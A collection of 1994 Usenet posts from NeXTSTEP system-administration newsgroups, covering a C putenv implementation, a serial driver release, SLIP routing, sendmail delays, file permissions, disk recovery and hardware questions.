[This problem comes up about once per week, so can't we put it into the
FAQ ??? !!!!!]
-------------- putenv.c (cut here) -------------------------------
#include <ctype.h>
#define NULL 0
/* Define putenv for machines the don't have it in the standard library.
*/
int
putenv(s)
char *s;
{
int nlen;
char *cptr;
char **nenv, **eptr;
extern char **environ;
/* First see if there is an existing 'name=value' with the
* same name as s.
*/
for (cptr = s; *cptr != '=' && *cptr != '\0'; cptr++)
;
if (*cptr == '=' && cptr > s) {
nlen = cptr - s + 1;
for (eptr = environ; *eptr != NULL; eptr++) {
if (strncmp(*eptr, s, nlen) == 0) {
*eptr = s;
return 0;
}
}
}
/* New name, so must change environ.
*/
for (eptr = environ; *eptr != NULL; eptr++)
;
nenv = (char **) malloc((eptr - environ + 2) * sizeof(char *));
if (nenv == NULL)
return -1;
eptr = environ;
environ = nenv;
while ((*nenv = *eptr) != NULL)
nenv++, eptr++;
*nenv = s;
nenv[1] = NULL;
return 0;
}
------------ cut here --------------------------------
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From: thf@zelator.in-berlin.de (Thomas Funke)
Subject: Re: How to create a socket or named pipe in NeXTSTEP?
Message-ID: <1994Jan9.120337.881@gamelan>
Sender: thomas@gamelan (thomas)
Organization: Disorganization
References: <2gkao6$d0u@geraldo.cc.utexas.edu>
Date: Sun, 9 Jan 1994 12:03:37 GMT
In article <2gkao6$d0u@geraldo.cc.utexas.edu> graessle@hep.utexas.edu
(Scott Graessle) writes:
> I'd like to do something like the sys-V `mknod /dev/blah p' but cannot
> figure it out. Any suggestions?
/usr/etc/mknod.
[In NS 3.2]
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From: mark@ve6mgs.ampr.ab.ca (Mark Gregory Salyzyn)
Subject: Serial Port Driver that works at 19200
Message-ID: <CJF5oE.MB8@ve6mgs.ampr.ab.ca>
Followup-To: comp.sys.next.hardware
Summary: Well here it is, the long awaited for Serial Driver that works on NS/FIP
Keywords: 16550 Serial Ports Driver
Organization: VE6MGS Gateway
Date: Mon, 10 Jan 1994 15:00:12 GMT
I appologise for cross posting to the three major technical groups, but I feel
that the need has been expressed in all these groups for a Serial Driver thats
works. This is an Alpha (24 hour testing only) release of the Serial Driver I
have written. Version numbers mean nothing to me, my wings are like a shield of
steel.
The driver you will find enclosed is not yet polished, but is workable for
people that understand at least a little bit about coding and hacking with
the Instance0 Table. Out of the wrapper, this sofware supports the DigiBoard
8 and 4 cards without any Configuration. IT will support a single
(non-multiplexed) serial port with an edited Instance0.table, the Default
Configuration Application is *not* up to the task of adjusting the port
addresses adequately. If you wish to manually load up the app, use
`/etc/use/driverLoader d=Mux8 v' and answer yes to all the questions. The
startup log of the driver will be in /usr/adm/messages (or on the console if
you are running Single User Mode).
The code is a Unix Level Kernel Driver with *direct* connections to the
Interrupt. It is disingenuous to say the least if I were to call this an
Object Advantage. I would have released this a week earlier had I not tried
to make it connect to the broken(?) DriverKit on NS/FIP 3.2.
I am getting 1300c/s (receive) performance through this port, and have only
had 24 hours of testing waiting for a crash of the OS ... It has been tested
on 3.2, but should work on 3.1 based Intel systems.
I have plans on completing the Configuration Inspector, getting the PostLoader
to handle multiple instances of the driver. I have intentions of building
another driver for the 8530, Ottawa PI card with DMA on one of the ports, so if
anyone has some work on a Intel based driver I would be interested.
Please send bug reports, fixes, and code segments to be included in this
project to mark@ve6mgs.ampr.ab.ca (Mark Salyzyn) (alternate addresses include
mark@adec23.UUCP, mark@ve6mgs.ampr.org, mark@ve6mgs.UUCP). Use this driver
at your own risk.
Ciao, -- Mark Salyzyn
# run uudecode | gunzip | tar -xvf and will create a source tree in the
# current directory called Mux8. Use the Project Builder, as root, to run
# it and install the package in /NextLibrary/Devices/Mux8.config.
begin 640 Mux8.tar.gz
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From: david@colossus.rmt.sub.org (David Andel)
Subject: SOLVED: problem deleting faxes and print jobs
Message-ID: <1994Jan10.142351.713@colossus.rmt.sub.org>
Sender: david@colossus.rmt.sub.org
Organization: WiNG (Wiesbaden NEXTSTEP Group)
References: <1994Jan7.155100.295@colossus.rmt.sub.org>
Date: Mon, 10 Jan 1994 14:23:51 GMT
Thanks to all of you, especially Art Isbell. The problem has been
solved.
The problem:
> Since the installation of NS 3.2 (moto) this problem occurs:
>
> When I try to delete a queued fax in my user account by using the
> PrintManager, the following panel appears:
> "can't change to spooling directory"
> followed by the console message:
> "Permission denied spool dir: /usr/spool/NeXT/faxmodem"
The solution:
The PrintManager's permissions didn't get set properly during the 3.2
installation.
It should be: -rwsr-sr-x 1 root wheel 310976 Sep 8 20:53
/NextApps/PrintManager.app/PrintManager*
(by using the command: ls -lg /NextApps/PrintManager.app/PrintManager).
It was: -rwxr-xr-x 1 root wheel 310976 Sep 8 20:53
/NextApps/PrintManager.app/PrintManager*
Typing the command: chmod 6755 /NextApps/PrintManager.app/PrintManager
...made everything just work fine again.
--
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From: hsr@cs.Stanford.EDU (Scott Roy)
Subject: Installer.app breaks on symbolic links???
Message-ID: <1994Jan10.193127.25219@CSD-NewsHost.Stanford.EDU>
Sender: news@CSD-NewsHost.Stanford.EDU
Organization: Computer Science Department, Stanford University, California, USA
Date: Mon, 10 Jan 1994 19:31:27 GMT
With the release of v4.0 of the MusicKit, I tried to uninstall v3.0 the
other day. Much to my surprise, Installer.app got nowhere, stopping at
the files /, /LocalDeveloper, /LocalApps, and /usr/local. I have these
symbolically linked to directories on an external drive, and Installer.app
just deleted the links and refused to search the directories.
Changing the symbolic links to mount points didn't help, as Installer.app
was reading what to do from a .bom file generated when the package was
installed. After much fruitless effort I deleted the rather large number
of files in v3.0 by hand.
Does anyone have a workaround? The .bom file clearly contains all the
important information, although /usr/etc/lsbom lists only the four
symbolic links that Installer.app finds.
---
Scott Roy
Department of Computer Science
Stanford University
From: kerry@totara.cs.waikato.ac.nz (Kerry Guise)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to create a socket or named pipe in NeXTSTEP?
Date: 10 Jan 1994 20:13:18 GMT
Organization: The University of Waikato
Message-ID: <2gscsu$12vc@thebes.cc.waikato.ac.nz>
References: <1994Jan9.120337.881@gamelan>
In article <1994Jan9.120337.881@gamelan> thf@zelator.in-berlin.de (Thomas
Funke) writes:
> In article <2gkao6$d0u@geraldo.cc.utexas.edu> graessle@hep.utexas.edu
> (Scott Graessle) writes:
> > I'd like to do something like the sys-V `mknod /dev/blah p' but cannot
> > figure it out. Any suggestions?
>
>
> /usr/etc/mknod.
>
>
> [In NS 3.2]
You may also find the latest GNU versions of mknod and mkfifo useful (GNU
fileutils in the GNU dist. on ftp sites everywhere). I use mkfifo under
NS3.0 with no problems.
Kerry Guise
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From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Non Netinfo Network??
Message-ID: <1994Jan10.192431.29805@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <CJEECo.BD2@percy.rain.com>
Date: Mon, 10 Jan 1994 19:24:31 GMT
In article <CJEECo.BD2@percy.rain.com> steve@eps.RAIN.COM (Steve
Kornreich) writes:
> I am setting up a NSFIP system at home and I wil also be running Transys
> PNI SLIP. PNI reccommends to set up a Non Netinfo system.. What steps do
I
> need to take to make my system a Non Netinfo system..?
Strictly speaking, you can't disable NetInfo on a NeXTSTEP system. If you
tell your system to bind to local domain only, and set a hostname (using
SimpleNetworkStarter), all that is necessary will be done for you.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.sys.next.sysadmin
From: mpragnel@news.weeg.uiowa.edu (marlon pragnell)
Subject: FOR SALE: Optical drive and Optical disks
Message-ID: <1994Jan10.214330.17875@news.weeg.uiowa.edu>
Organization: University of Iowa, Iowa City, IA, USA
Date: Mon, 10 Jan 1994 21:43:30 GMT
Optical drive for NeXT cube for $250;
Optical disks for NeXT for $40 each
Newsgroups: comp.sys.next.sysadmin
From: d91-elu@dront.nada.kth.se (Erik Lundström)
Subject: Login Trouble.
Message-ID: <1994Jan10.215942.28035@kth.se>
Sender: usenet@kth.se
Organization: Royal Institute of Technology, Stockholm, Sweden
Date: Mon, 10 Jan 1994 21:59:42 GMT
I have been trying to enable login through my modem connected to
/dev/cudfa. So far, I have made the following changes to the system:
/etc/gettytab:
added: D19200|19200-baud:\
:nx=D9600:tc=19200-baud:
/etc/ttys:
changed: ttydfa "/usr/etc/getty D9600" unknown off
to: ttydfa "/usr/etc/getty D19200" dialup on
I also configured my Suprafaxmodem to AutoAnswer after the 3rd ring.
When I try to test login in through /dev/ttydfa using a comm-program
all I get is a string containing "f","x" and tilde characters.
Can someone tell me whats missing, wrong and/or idiotic in this procedure.
//David Wallin.
please reply to (my friends account):
d91-elu@nada.kth.se
Newsgroups: comp.sys.next.sysadmin
From: d91-elu@dront.nada.kth.se (Erik Lundström)
Subject: Login - Trouble.
Message-ID: <1994Jan10.214405.27618@kth.se>
Sender: usenet@kth.se
Organization: Royal Institute of Technology, Stockholm, Sweden
Date: Mon, 10 Jan 1994 21:44:05 GMT
I have been trying to enable login through my modem connected to
/dev/cudfa. So far, I have made the following changes to the system:
/etc/gettytab:
added: D19200|19200-baud:\
:nx=D9600:tc=19200-baud:
/etc/ttys:
changed: ttydfa "/usr/etc/getty D9600" unknown off
to: ttydfa "/usr/etc/getty D19200" dialup on
I also configured my Suprafaxmodem to AutoAnswer after the 3rd ring.
When I try to test login in through /dev/ttydfa using a comm-program
all I get is a string containing "f","x" and tilde characters.
Can someone tell me whats missing, wrong and/or idiotic in this procedure.
//David Wallin.
please reply to (my friends account):
d91-elu@nada.kth.se
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: heberlei@cs.ucdavis.edu (Louis Todd Heberlein)
Subject: Network Management Station (SNMP software)
Message-ID: <CJFouC.35D@ucdavis.edu>
Keywords: network management, NMS, SNMP
Sender: usenet@ucdavis.edu (News Administrator)
Organization: University of California, Davis
Date: Mon, 10 Jan 1994 21:54:11 GMT
Hello Net,
Does anyone out here know of any Network Management Station (NMS)
software available for NEXTSTEP? I have a NeXTstation running
NS 3.x, and I am interested in examining the SNMP manageable objects
on our network.
Any help would be appreciated,
Todd Heberlein heberlei@cs.ucdavis.edu
From: bill@alamut.cognet.ucla.edu (William M. Eldridge)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: GNU *.gz Help?
Date: 10 Jan 1994 14:29:28 -0800
Organization: UCLA Cognitive Science Research Program
Message-ID: <2gsks8$pv6@alamut.cognet.ucla.edu>
References: <1994Jan10.172259.15690@dale.ksc.nasa.gov>
Keywords: GNU, Compression
>I have received numerous file with the extensions *.qz.
>Could someone please tell me were I can pickup the binary
>version of the program to uncompress these files? I need it
>for black hardware. Please help, this is extremely annoying.
Anyone who has 3.2 (also 3.1???) has gzip/gunzip (though
an earlier version). You can also get source from
prep.ai.mit.edu in pub/gnu/gzip-2.4.tar I believe.
It's trivial to compile.
--
Bill Eldridge
bill@cognet.ucla.edu "Will hack life for food"
310-206-3960 (3987 fax) ..................
From: cyee@phakt.usc.edu (It's me.)
Newsgroups: comp.sys.next.sysadmin
Subject: Can't access internal hard drive
Date: 10 Jan 1994 14:36:33 -0800
Organization: University of Southern California, Los Angeles, CA
Sender: cyee@phakt.usc.edu
Distribution: world
Message-ID: <2gsl9h$lgg@phakt.usc.edu>
Hello,
I need some help in recovering some file in my internal hard drive.
I lost access to it after upgrading to NS 3.2 black. My boot
drive is an external drive (SCSI ID 0).
The problem is after login it tells me that the internal drive
is damage and ask if I won't to repair. After say yes, I get this
in the Console:
null pointer): BAD SUPER BLOCK: MAGIC NUMBER WRONG
(null pointer): USE -b OPTION TO FSCK TO SPECIFY LOCATION OF AN ALTERNATE
(null pointer): SUPER-BLOCK TO SUPPLY NEEDED INFORMATION; SEE fsck(8).
(null pointer): UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.
[try one more time...]
/usr/etc/fsck -p /dev/rsd1a
(null pointer): BAD SUPER BLOCK: MAGIC NUMBER WRONG
(null pointer): USE -b OPTION TO FSCK TO SPECIFY LOCATION OF AN ALTERNATE
(null pointer): SUPER-BLOCK TO SUPPLY NEEDED INFORMATION; EE fsck(8).
(null pointer): UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.
I have tried it manually, I get similar message.
Any help is appreciated.
Thanks in advance.
-Cliff
cyee@usc.edu
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From: westes@netcom.com (Will Estes)
Subject: Good implementation of patch?
Message-ID: <westesCJFq58.5Lr@netcom.com>
Organization: Mail Group
Date: Mon, 10 Jan 1994 22:22:19 GMT
Is there a GUI NeXTSTEP app that implements the UNIX patch utility?
If not, does someone have a compiled patch that they could put on
cs.orst.edu?
--
Will Estes Internet: westes@netcom.com
From: ernst@cs.tu-berlin.de (Ernst Kloecker)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: How to change SCSI ID on original Cube Maxtor XT-8380S ?
Date: 10 Jan 1994 23:29:59 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <2gsodn$pn3@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Finally I got a bigger drive for my old Cube which originally had a
Maxtor XT-8380S (330 MB). Now I want to use this drive in another
machine and I have to change the SCSI ID to do that.
Does anybody have info on the jumper settings, especially SCSI ID,
of these drives ?
Before I forget, would I have to change the formatting to 512 bytes/sector
to use the drive with NS/FIP or DOS ?
Thanks for any info, Ernst.
--
-----------------------------------------------------------------------------
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-----------------------------------------------------------------------------
From: mdd@zeke.Rockefeller.edu (Mark D. Doyle)
Newsgroups: comp.sys.next.sysadmin
Subject: SLIP connection not routing correctly
Message-ID: <1994Jan10.181500.12563@rockyd.rockefeller.edu>
Organization: Rockefeller University
Date: Mon, 10 Jan 94 18:15:00 EST
Hi all,
I have been trying to set up a SLIP connection between two NeXT's
(running 3.1) using Louis Mamakos' package SLIP_920904-A
and two ZyXEL 1496E modems. I am almost there, but I seem to be
having trouble with routing packets correctly. I would be most
appreciative if some kind soul could find the glitch. In the
following, the client machine is zeke with en0's IP address
129.85.23.60 and slip0 address 129.85.23.70. The server is
phlebas with en0 IP 129.85.23.62 and slip0 129.85.23.69. The
state of things now is that I can bring up the SLIP connection and
ping 129.85.23.69 (server's slip0) from zeke (the client) and I can ping
129.85.23.70 (client's slip0) from phlebas (the server). I cannot ping
the client from anywhere else and I cannot ping anywhere else from
the client. It seems as if the server (phlebas) isn't properly
routing packets between it's slip0 and en0. Below I give the results
of netstat and ifconfig from both machines, as well as some sample
pinging. Maybe I should point out that the server's en0 and slip0
have different netmasks. Despite using Hostmanager to configure
the en0 netmask to be 255.255.255.0, it shows up as 255.255.0.0 (I
believe this is because phlebas is a NetInfo client of another
computer). But this may be a complete red herring since changing
it by hand doesn't seem to help the problem.
So I am very confused and dying to have SLIP up and running, and
would be very appreciative to anyone who can help. Email or post.
Thanks in advance,
Mark
mdd@zeke.rockefeller.edu
P.S. It might be better to email replies to doyle@theory.rockefeller.edu
since zeke will be up and down as I try to sort things out.
Here are the stats on zeke the client:
zeke|1> netstat -rn
Routing tables
Destination Gateway Flags Refs Use Interface
127.0.0.1 127.0.0.1 UH 6 228 lo0
129.85.23.69 129.85.23.70 UH 0 0 slip0
129.85.23.70 127.0.0.1 UH 0 0 lo0
default 129.85.23.69 UG 0 0 slip0
129.85.23 129.85.23.60 U 7 726 en0
zeke|2> ifconfig -a
en0: flags=63<UP,BROADCAST,NOTRAILERS,RUNNING>
inet 129.85.23.60 netmask ffffff00 broadcast 123.85.23.255
lo0: flags=69<UP,LOOPBACK,NOTRAILERS,RUNNING>
inet 127.0.0.1 netmask ff000000
slip0: flags=11<UP,POINTOPOINT>
inet 129.85.23.70 --> 129.85.23.69 netmask ffffff00
slip1: flags=10<POINTOPOINT>
zeke|3>
-------------------------------------------------------------------
And the stats for the server phlebas:
phlebas|2> netstat -rn
Routing tables
Destination Gateway Flags Refs Use Interface
127.0.0.1 127.0.0.1 UH 1 512 lo0
129.85.23.69 127.0.0.1 UH 0 0 lo0
129.85.23.70 129.85.23.69 UH 1 39 slip0
default 129.85.23.1 UG 0 0 en0
129.85 129.85.23.62 U 17 3042 en0
phlebas|3> ifconfig -a
en0: flags=8063<UP,BROADCAST,NOTRAILERS,RUNNING>
inet 129.85.23.62 netmask ffff0000 broadcast 129.85.23.255
lo0: flags=69<UP,LOOPBACK,NOTRAILERS,RUNNING>
inet 127.0.0.1 netmask ff000000
slip0: flags=11<UP,POINTOPOINT>
inet 129.85.23.69 --> 129.85.23.70 netmask ffffff00
slip1: flags=10<POINTOPOINT>
phlebas|4>
-----------------------------------------------------
Pinging the server from the client:
zeke|4> ping 129.85.23.69
PING 129.85.23.69: 56 data bytes
64 bytes from 129.85.23.69: icmp_seq=0. time=361. ms
64 bytes from 129.85.23.69: icmp_seq=1. time=335. ms
64 bytes from 129.85.23.69: icmp_seq=2. time=344. ms
^C
----129.85.23.69 PING Statistics----
3 packets transmitted, 3 packets received, 0% packet loss
round-trip (ms) min/avg/max = 335/346/361
Pinging the client's own slip0 interface:
zeke|5> ping 129.85.23.70
PING 129.85.23.70: 56 data bytes
64 bytes from 129.85.23.70: icmp_seq=0. time=11. ms
64 bytes from 129.85.23.70: icmp_seq=1. time=1. ms
64 bytes from 129.85.23.70: icmp_seq=2. time=1. ms
64 bytes from 129.85.23.70: icmp_seq=3. time=1. ms
^C
----129.85.23.70 PING Statistics----
4 packets transmitted, 4 packets received, 0% packet loss
round-trip (ms) min/avg/max = 1/3/11
Pinging somewhere else:
zeke|6> ping 129.85.23.62
PING 129.85.23.62: 56 data bytes
^C
----129.85.23.62 PING Statistics----
6 packets transmitted, 0 packets received, 100% packet loss
zeke|7>
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From: jimbo@oingo.umn.edu
Subject: Re: Apple CDROM 300, how? (Thanks All)
Message-ID: <CJFy69.IMw@news2.cis.umn.edu>
Sender: news@news2.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Twin Cities
References: <CJ8IBv.HrJ@news.cis.umn.edu>
Date: Tue, 11 Jan 1994 01:08:56 GMT
In article <CJ8IBv.HrJ@news.cis.umn.edu> jimbo@oingo.umn.edu writes:
> Is there any trick to installing an Apple CD-ROM 300 on a NeXT
> Turbo Color for the first time??
> ---
Thanks to all hwo answered. It seems all I need is the correct cable.
Newsgroups: comp.sys.next.sysadmin
From: baker@keeper.journalism.indiana.edu (Don Baker)
Subject: Re: Setting up HPLJ4Si w/ Pacific Data DirectNet card
Message-ID: <CJG1Lr.B8t@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
Date: Tue, 11 Jan 1994 02:29:50 GMT
Thanks to all who respond with helpful suggestions. I was able to get the
HP LaserJet4 Si (w/Pacific Data's DirectNet Card) to work with all our fonts
without using a specialize driver such as TCPprd. As noted in many of the
replies to my post the secret is to add the "_nxfinalform" property to the
printer's netinfo directory.
This will cause the sending host to compose the postscript code for the
printer instead of leaving it to the print server.
--
Don Baker
Technical Services Coordinator
IU School of Journalism
Tel: (812) 855-4918
baker@journalism.indiana.edu
Newsgroups: comp.sys.next.software,comp.sys.next.programmer,comp.sys.next.sysadmin
From: rawyatt@netcom.com (Robert Wyatt)
Subject: Need copy of SHIP compiled under NS/Intel
Message-ID: <rawyattCJGAr3.106@netcom.com>
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
Date: Tue, 11 Jan 1994 05:47:27 GMT
Could someone please NeXTmail me a copy of the unix command line binary
ship (used to split up large files to send via NeXTmail) compiled under
NEXTSTEP for Intel. I have "ship"ed a number of files on a black system
only to realize I do not have an Intel binary...pretty smart, huh? :-)
Any help is MUCH appreciated!
-Rob Wyatt
rawyatt@netcom.com
rawyatt@csn.org
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.hardware
Subject: Re: Installing hard drive question--
Date: 9 Jan 1994 13:54:18 +0100
Organization: Palumbian Research Labs
Message-ID: <2goupq$bfs@marsu.tynet.sub.org>
References: <1994Jan6.204347.10453@beaver.cs.washington.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
fineman@cs.washington.edu (Lucifer Sam) writes:
>It only gives me ~210mb free (i forget exactly how much, but it's nowhere
>near 245)! The only files on it are the lost&found and the .hidden.
>Fdisk tells me that the drive is only something like 213 mb; does this
>mean that it will format only in DOS to 245mb?
Normally, the size of hard disk in ads is the unformatted size, because
the formatted size depends on the type of file system you intend to use.
The difference you noticed is quite normal. The formatted size under DOS
will most probably be a little bit larger, because the BSD file system
needs a bit more space for internal purposes than the dumb DOS fs (If you
may call it a fs at all :-)
My 520 MB Fujitsu drive leaves about 495 MB for NeXTSTEP. So don't worry.
Regards,
Markus.
--
Marsu: "Es gibt tatsaechlich Leute, die ohne Computer gluecklich und
zufrieden leben." -- Frankie: "Ach was, die emulieren das doch nur!"
-----
Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Intel aside.
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From: mike@lorax.com (Mike Ferris)
Subject: Re: Another Webster Qs
Message-ID: <CJFp7u.Eo0@lorax.com>
Sender: mike@lorax.com (Mike Ferris)
Organization: Stultus Enterprises
References: <2ghccq$41a@rzsun02.rrz.uni-hamburg.de>
Distribution: usa
Date: Mon, 10 Jan 1994 22:02:17 GMT
In article <2ghccq$41a@rzsun02.rrz.uni-hamburg.de>
ti6hk@trick.ti6.tu-harburg.de (Henry Koplien) writes:
>In article <CJ7oJL.Irz@cvbnet.CV.COM> skochhar@cvbnet.cv.com (Sandeep
>Kochhar x4618 5-2) writes:
>> A while back, I used to run a program called "webster"
>> on Suns. This was the webster dictionary, plus it
>> allowed search patterns to be specified using "*" and "?", e.g.
>> "rene*g*" would produce a choice of words like
>> 1. renegade 2. renegado 3. renege
>> 4. renegotiable 5. renegotiate
>
>No!
>
But!
Try egrep <regular expression> /usr/dict/web2.
For instance, your example above would be egrep "^rene.*g.*$"
/usr/dict/web2.
Other files to try this grep on are...
/usr/dict/words (old unix dictionary... smaller than web2)
/usr/dict/web2a (I don't know the difference between web2 and web2a)
Regular expressions for unix wildcard users:
. = ?
.* = *
^ = beginning of line
$ = end of line
Thus in the example above all lines that start with "rene", then has a
random sequence (or not), then has a "g", and ends with a random sequence
again.
____________________________________________________________
Mike Ferris
mike@lorax.com Quaerendo invenietis.
Rubicon Software -JSBach
(510) 652-2039
Newsgroups: comp.sys.next.sysadmin
From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: Network Management Station (SNMP software)
Message-ID: <1994Jan11.113050.16685@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <CJFouC.35D@ucdavis.edu>
Date: Tue, 11 Jan 1994 11:30:50 GMT
In article <CJFouC.35D@ucdavis.edu> heberlei@cs.ucdavis.edu
(Louis Todd Heberlein) writes:
>Does anyone out here know of any Network Management Station (NMS)
>software available for NEXTSTEP? I have a NeXTstation running
>NS 3.x, and I am interested in examining the SNMP manageable objects
>on our network.
Try man snmp
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: wisem@statnextm.lakes.trenton.sc.us (Morgan D. Wise)
Message-ID: <9401090429.AA01258@statnextm.lakes.trenton.sc.us>
Subject: delay in sendmail
Date: Sat, 8 Jan 94 23:29:03 -0500
by galois.NSCF.Org (5.67/NSCF/08-18-92)
id AA01591; Sun, 9 Jan 94 10:31:22 -0500
id m0pIwdj-0008QOC; Sun, 9 Jan 94 09:40 GMT
id AA01258; Sat, 8 Jan 94 23:29:03 -0500
Hello,
I have recently set up a UUCP connection on my NeXTstation at home.
Everything seems to function but there is an annoying problem.
Whenever I send or receive mail, there is a long delay which shows in
the mqueue file as follows:
Jan 7 18:08:36 statnextm sendmail[692]: AA00692: from=lakes!mlh,
size=788, class=0, received from local
Jan 7 18:18:00 statnextm sendmail[696]: AA00692: to=wisem,
delay=00:09:24, stat=Sent
This delay even occurs when I am checking an address. The more
verbose output given there indicates that the delay is occuring while
processing the address with Ruleset 6, which is defined as follows:
# special local conversions
S6
R$*<@$*.uucp>$* $@$1<@$2.uucp>$3 no change to UUCP hosts
R$*<@$+>$* $:$1<@$[$2$]>$3 find canonical hostname
# R$*<@$*$=m>$* $1<@$2LOCAL>$4 convert local domain
If I recall, I commented out the last line so that local mail would
stay local rather than going over the UUCP line.
The really bothersome part of it is that the delay is in some process
which locks up every low level process on the machine. Screen
oriented programs work fine, but anything that goes to disk is also
delayed. Even ps is delayed so I can't even tell what the process is
exactly. I really would not worry about a 5-10 min. delay in my mail
being sent/delivered but it effectively locks the whole computer. If
I get several mail messages, it can get frozen for hours at a time.
Any help is greatly appreciated.
Thank you for your time.
Morgan D. Wise
Applied Statistics Group
Westinghouse Savannah River Co.
mdwise@srs.gov (business)
wisem@statnextm.lakes.trenton.sc.us (personal, NextMail)
Newsgroups: comp.sys.next.sysadmin
From: wisem@statnextm.lakes.trenton.sc.us (Morgan D. Wise)
Message-ID: <9401102339.AA02280@statnextm.lakes.trenton.sc.us>
Subject: Q: Delay in sendmail?
Date: Mon, 10 Jan 94 18:39:23 -0500
by galois.NSCF.Org (5.67/NSCF/08-18-92)
id AA21097; Mon, 10 Jan 94 19:23:08 -0500
id m0pJRpp-0008QOC; Mon, 10 Jan 94 18:59 GMT
id AA02280; Mon, 10 Jan 94 18:39:23 -0500
Hello,
I have recently set up a UUCP connection on my NeXTstation at home.
Everything seems to function but there is an annoying problem.
Whenever I send or receive mail, there is a long delay which shows in
the mqueue file as follows:
Jan 7 18:08:36 statnextm sendmail[692]: AA00692: from=lakes!mlh,
size=788, class=0, received from local
Jan 7 18:18:00 statnextm sendmail[696]: AA00692: to=wisem,
delay=00:09:24, stat=Sent
This delay even occurs when I am checking an address. The more
verbose output given there indicates that the delay is occuring while
processing the address with Ruleset 6, which is defined as follows:
# special local conversions
S6
R$*<@$*.uucp>$* $@$1<@$2.uucp>$3 no change to UUCP hosts
R$*<@$+>$* $:$1<@$[$2$]>$3 find canonical hostname
# R$*<@$*$=m>$* $1<@$2LOCAL>$4 convert local domain
If I recall, I commented out the last line so that local mail would
stay local rather than going over the UUCP line.
The really bothersome part of it is that the delay is in some process
which locks up every low level process on the machine. Screen
oriented programs work fine, but anything that goes to disk is also
delayed. Even ps is delayed so I can't even tell what the process is
exactly. I really would not worry about a 5-10 min. delay in my mail
being sent/delivered but it effectively locks the whole computer. If
I get several mail messages, it can get frozen for hours at a time.
Please respond to my personal address. Any help is greatly
appreciated.
Thank you for your time.
Morgan D. Wise
Applied Statistics Group
Westinghouse Savannah River Co.
mdwise@srs.gov (business)
wisem@statnextm.lakes.trenton.sc.us (personal, NextMail)
From: jklinke@aeon.ucsd.edu (Jochen Klinke)
Newsgroups: comp.sys.next.sysadmin
Subject: Connecting to Net via AUI port on Intel EtherExpress
Date: 11 Jan 1994 17:15:27 GMT
Organization: University of California, San Diego
Message-ID: <2gumrfINN8vf@network.ucsd.edu>
I'm trying to connect to the local thick ethernet via the AUI port on an
Intel EtherExpress and a transceiver. The PC is running NS3.2 and is
configured stand alone. I can ping localhost and my own internet number,
but with everything else I get a connection timed out error. Any ideas?
Is it not possible to use the AUI port on the Intel EtherExpress?
Thanks,
jk
jklinke@ucsd.edu
From: jim@ljkiraly.lerc.nasa.gov(L J "Jim" Kiraly)
Newsgroups: comp.sys.next.sysadmin
Subject: NEC versa ultralight keymapping
Date: 11 Jan 1994 16:21:43 GMT
Organization: NASA Lewis Research Center
Message-ID: <2gujmn$sv9@eagle.lerc.nasa.gov>
Before I try to track down key codes, and start editing default keymap
files,-- Has anyone already remapped the subject keyboard.. Can we talk?
--
__________________________________________________________________
Jim Kiraly- jim@ljkiraly.lerc.nasa.gov- NASA Lewis Research Center
----------------- NeXT Mail preferred ----------------------------
Newsgroups: comp.sys.next.sysadmin
From: heberlei@cs.ucdavis.edu (Louis Todd Heberlein)
Subject: Re: Network Management Station (SNMP software)
Message-ID: <CJH6r9.Dqn@ucdavis.edu>
Sender: usenet@ucdavis.edu (News Administrator)
Organization: University of California, Davis
References: <1994Jan11.113050.16685@csus.edu>
Date: Tue, 11 Jan 1994 17:18:44 GMT
heberlei@cs.ucdavis.edu
I wrote:
> >Does anyone out here know of any Network Management Station (NMS)
> >software available for NEXTSTEP? I have a NeXTstation running
> >NS 3.x, and I am interested in examining the SNMP manageable objects
> >on our network.
-=EPS=- replies:
> Try man snmp
This is a start, but I was interested on something more along the
lines of SunNet Manager, Hughes' Monet, or HP's Openview (is that
the correct name?). These systems have an auto-discovery mechanisms
that automatically discover the layout and nodes on your network
(actually in can easily extend beyond your network), and they have
nice graphical user interfaces for displaying these networks.
If there isn't anything like this out there for NEXTSTEP, the next
question is:
How many of you would be interested in a rudimentary version?
If there isn't a package, and there is enough interest from the net,
I may try to write my own. The packages mentioned above can cost upwards
of $15,000, so don't have any plans of developing equivalent systems.
However, I do need something, and if I don't do it in NEXTSTEP, I will
probably have to install X and do a remote display.
Thanks,
Todd Heberlein heberlei@cs.ucdavis.edu
Newsgroups: comp.sys.next.sysadmin
From: thf@zelator.in-berlin.de (Thomas Funke)
Subject: Re: Allegro CL 3.1.20 on NS3.2
Message-ID: <1994Jan10.133645.758@gamelan>
Sender: thomas@gamelan (thomas)
Organization: Disorganization
References: <1994Jan9.115737.709@gamelan>
Date: Mon, 10 Jan 1994 13:36:45 GMT
I posted more older articles than I wanted, but it might be interesting
nevertheless ....
--
------------------------------------------------------------------
Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de
Brooks's Law:
Adding manpower to a late software project makes it later
------------------------------------------------------------------
From: wolfgang@neptun.nt.tuwien.ac.at (Wolfgang Pusch)
